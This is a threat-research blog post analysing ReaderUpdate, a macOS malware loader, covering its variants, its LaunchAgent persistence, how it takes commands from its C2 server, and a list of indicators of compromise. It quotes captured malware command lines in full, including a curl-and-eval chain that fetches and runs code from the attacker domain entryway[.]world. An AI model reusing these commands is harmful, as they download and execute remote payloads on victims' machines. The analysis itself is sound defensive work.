ReaderUpdate is a macOS malware loader platform that, despite having been in the wild since at least 2020, has passed relatively unnoticed by many vendors and remains widely undetected. A report in 2023 observed that ReaderUpdate infections were contiguous with but distinct from WizardUpdate (aka UpdateAgent, Silver Toucan) infections and seen to deliver Genieo (aka DOLITTLE) adware. The loader seems to have been largely dormant since then until the latter half of 2024, when several vendors began reporting on previously unseen macOS malware samples written in the Crystal programming language. Variants written in Nim and Rust were also identified.
SentinelOne has identified further variants written in Go and attributed the malware to the same cluster of activity responsible for the previously reported ReaderUpdate infections. In this post, we discuss this cluster of activity and provide a technical breakdown of the Go variant. A comprehensive list of indicators is provided at the end of the post to aid defenders in identifying this malware and remediating infections. The SentinelOne Singularity™ Platform detects all known variants of ReaderUpdate malware.
ReaderUpdate | Compiled Python Binary
First observed in 2020, the original ReaderUpdate binary (SHA-1: fe9ca39a8c3261a4a81d3da55c02ef3ee2b8863f
) is an x86 Mach-O that is typically found on infected hosts in the ~/Library/Application Support/
folder in a subfolder of the same name. A companion persistence agent com.readerupdate
is dropped in the user’s LaunchAgents folder.
~/Library/Application Support/ReaderUpdate/ReaderUpdate ~/Library/LaunchAgents/com.readerupdate.plist
The executable weighs in at a hefty 5.63Mb due to the fact that it embeds the Python runtime and uses it to deliver a compiled Python script obfuscated with pyarmor. Researchers at IronNet gave a brief overview of how this early sample functioned, but for our purposes two things remain relevant to the infections we see today. IronNet noted that this binary reached out to a C2 domain at www[.]entryway[.]world
, and further that it subsequently delivered a payload with the file name of V6QED2Q1WBYVOPE
.
We see this same file delivered by a series of newer domains active since mid-2024 and associated with the Crystal, Nim, Rust and (now) Go malware loader samples.
sh -c chmod +x "/private/tmp/V6QED2Q1WBYVOPE" && "/private/tmp/V6QED2Q1WBYVOPE" --safetorun --host=limitedavailability-show[.]com --partner.affiliate_id=1463441 --partner.installer_id=92 --partner.user_id=177025082 -x; mv "/private/tmp/V6QED2Q1WBYVOPE_" "/private/tmp/V6QED2Q1WBYVOPE"
We assess this file to be a sample of Genieo (aka DOLITTLE, MaxOfferDeal) adware and an exact copy of the payload observed by IronNet in 2023. Moreover, we see the original domain www[.]entryway[.]world
delivering versions of ReaderUpdate written in Crystal, Nim, Rust and Go into new locations such as ~/Library/Application Support/printers/printers
, ~/Library/Application Support/etc/etc
, and others (see the IoCs section at the end of this post) via a temporary filepath created using the /usr/bin/mktemp
utility.
sh -c curl -s -X POST -d "get_info=1&device_id=<redacted UUID_1>&result=$( { tmp_path=$(mktemp /tmp/XXXXXXXXX) 2>&1 curl -s -f0L -o $tmp_path -X POST -d "<redacted UUID_1>" http://www[.]entryway[.]world/reader-update/<redacted UUID_2> 2>&1 chmod +x $tmp_path 2>&1 $tmp_path 2>&1 res=$(curl -s -X POST -d "<redacted UUID_1>" http://www[.]entryway[.]world/reader-update/<redacted UUID_3>) 2>&1 eval "$res" 2>&1 } )" http://www[.]entryway[.]world/reader-update /tmp/mH2mc7dFe
A corresponding LaunchAgent is created in the User’s Library folder to execute the target binary on login.

Note that if the malware is created via a process running with elevated privileges, the target binary and the persistence agent will be created in the corresponding subfolders of /private/var/root/
rather than /Users/user/
.
ReaderUpdate Reforged
Including the original compiled Python version, ReaderUpdate is currently distributed in five variants compiled from five different source languages.
Language | ~Size | Example SHA-1 |
Compiled Python | 5.6Mb | fe9ca39a8c3261a4a81d3da55c02ef3ee2b8863f |
Go | 4.5Mb | 36ecc371e0ef7ae46f25c137aa0498dfd4ff70b3 |
Crystal | 1.2Mb | 86431ce246b54ec3372f08c7739cd1719715b824 |
Rust | 400Kb | 01e762ef8a10bbcda639ed62ef93b784268d925a |
Nim | 166Kb | 21a2ec703a68382b23ce9ff03ff62dae07374222 |
We observed distribution of the newer variants through existing infections of the older ReaderUpdate. Industry peers have privately reported seeing ReaderUpdate delivered through software obtained from free or third-party software download sites, in some cases through package installers containing fake or trojanized utility apps such as “DragonDrop” (aka Drag-and-Drop, Drag-on Drop).
All versions of ReaderUpdate are compiled solely for x86 Intel architecture, meaning they will not execute on Apple silicon Macs unless Rosetta 2 is installed.
In late January, researchers at Macpaw under the social media account name @moonlock_lab posted a thread with technical details of the Crystal version. This followed a posting on December 18th exploring the Nim version, and a post by Mosyle in November that gave brief details on both of those as well as the Rust version.
Until now, there has been no public reporting of the Go version, which we detail next.
Technical Analysis of the Go Variant
We analyzed 36ecc371e0ef7ae46f25c137aa0498dfd4ff70b3
, an x86 binary compiled from Go source code. Functions have random names in an attempt to complicate analysis, but the call tree from main.main()
leads to a secondary function of around 1.8Kb that contains much of the logic.

On execution, the malware first collects system hardware information by executing the native system_profiler SPHardwareDataType
command. This information is later used to form a unique identifier for the victim and sent to the C2.
ReaderUpdate then checks to confirm that the parent process is running from ~/Library/Application Support/<malware name>/
folder and creates it if not. It then copies itself into this folder, using the same file name. This is why all incidences of ReaderUpdate have the pattern:
~/Library/Application Support/<malware name>/<malware name>
ReaderUpdate then creates a companion .plist
file, again using the same name: ~/Library/LaunchAgens/com.<malware name>.plist
. Interestingly, the malware authors failed to account for the possibility that this folder, which does not exist by default on a new macOS install, may not be available: the code will fail if the Library LaunchAgents folder does not already exist. Otherwise, the code then unloads and reloads the launchd
process via launchctl
unload
and load
commands.
Near the end of this function, immediately before the sleep()
command, a subfunction is called that handles the connecton to the C2. As noted, the malware sends a unique identifier calculated from the hardware UUID value obtained by running the system_profiler SPHardwareDataType
command. The -
characters are removed and the integer value obtained from big.Int
is incremented by one and sent as the victim ID.
If the malware receives a response from the C2, it parses and executes it with the (*Cmd).Run()
function from Go’s os/exec
package. This is significant from a defensive point of view since it shows the loader is capable of executing whatever remote commands the operator chooses to send. While to date ReaderUpdate infections have only been associated with known adware, the loader has the capability to change the payload to something more malicious. This is consistent with a loader platform that might be used to offer other threat actors Pay-Per-Install (PPI) or Malware-as-a-Service (MaaS).

Throughout the binary, the developers obfuscate many of the strings, including the C2 URL and the property list content, using functions that either assemble characters on the stack or run some simple character substitution algorithm.

Some of the character substitution routines seem redundant as the resulting string is already constructed elsewhere, a method likely intended to try and complicate analysis. Similarly, the malware uses several variations of the substitution mechanism, which generally takes a value from an array and then either subtracts or adds a second value taken from a fixed offset (equal to the length of the resultant string) from the first in the same array. The result is then converted back to a valid ascii character and concatenated into a string.
For example:
for (lVar1 = 0; lVar1 < 0x12; lVar1 = lVar1 + 1) { local_2c[lVar1] = local_2c[lVar1] - local_2c[lVar1 + 0x12]; } _runtime.slicebytetostring();
For a string of length 18 (0x12), the function will use an array of length 36 (0x24), with each of the first 18 characters decoded by substituting the value located 18 indices away from the character to be decoded.

Compared to the Nim, Crystal and Rust variants, of which we have identified several hundred unique samples, the Go version seems relatively less common, with only 9 samples observed to date, reaching out to 7 unique domains:
airconditionersontop[.]com lakesandinnovations[.]com livingscontinuations[.]com simulators-and-cars[.]com slothingpressing[.]com small-inches[.]com streamingleaksnow[.]com
By pivoting off this list of domains, we can see they are connected to a larger set of infrastructure that connects the Go samples to the other variants, including the original compiled Python version of ReaderUpdate via entryway[.]world
.
Conclusion
ReaderUpdate is a widespread campaign utilising binaries written in a variety of different source languages, each containing its own unique challenges for detection and analysis. Interestingly, this loader platform has been quietly infecting victims through old infections that went largely unnoticed due to the malware remaining dormant or delivering little more than adware.
Nevertheless, where compromised, hosts remain vulnerable to the delivery of any payload the operators choose to deliver, whether of their own or sold as Pay-Per-Install or Malware-as-a-Service on underground markets.
The SentinelOne Singularity™ Platform detects all known variants of ReaderUpdate malware. Organizations without such protection are urged to review the list of indicators provided below to maintain a strong defensive posture.
Indicators of Compromise
SHA-1 Go Mach-Os
0b689c5677445729c609e284e91c7048a1d8bc11
1f6d6c9f3841d0477d8b38a64935e0b58e57605f
36ecc371e0ef7ae46f25c137aa0498dfd4ff70b3
6461ec3154bec2f4dac27b84951ab28e1287d8c9
7aa028fd7350193be167dc772a7eb486c9fa1c17
9b7590c4313159810443efcc6648837519b061d6
b0bbe83895647a1efe6843d1c619059b00f72cf3
d25eae2de64bb604987db27085d60f3ddf7ca473
ff6d99505c87876b613d511d8734a9379b826e1a
SHA-1 Compiled Python Mach-O
fe9ca39a8c3261a4a81d3da55c02ef3ee2b8863f
Domains (FQDNs)
airconditionersontop[.]com
lakesandinnovations[.]com
limitedavailability-show[.]com
livingscontinuations[.]com
motorcyclesincyprus[.]com
simulators-and-cars[.]com
slothingpressing[.]com
small-inches[.]com
strawberriesandmangos[.]com
streamingleaksnow[.]com
www[.]entryway[.]world
URLs
http://<FQDN>/library http://<FQDN>/writer
Target Executable Filepaths
~/Library/Application Support/drivers/drivers
~/Library/Application Support/etc/etc
~/Library/Application Support/install/install
~/Library/Application Support/installation_instructions/installation_instructions
~/Library/Application Support/printers/printers
~/Library/Application Support/seeker/seeker
~/Library/Application Support/sleuth/sleuth
~/Library/Application Support/uninstall/uninstall
Persistence Agents
~/Library/LaunchAgents/com.drivers.plist
~/Library/LaunchAgents/com.etc.plist
~/Library/LaunchAgents/com.install.plist
~/Library/LaunchAgents/com.installation_instructions.plist
~/Library/LaunchAgents/com.printers.plist
~/Library/LaunchAgents/com.seeker.plist
~/Library/LaunchAgents/com.sleuth.plist
~/Library/LaunchAgents/com.uninstall.plist
Nim, Crystal, Rust IoCs
A collection of indicators for the Nim, Crystal and Rust samples, many of which remain undetected on VirusTotal, can be found here (our thanks to @moonlock_lab).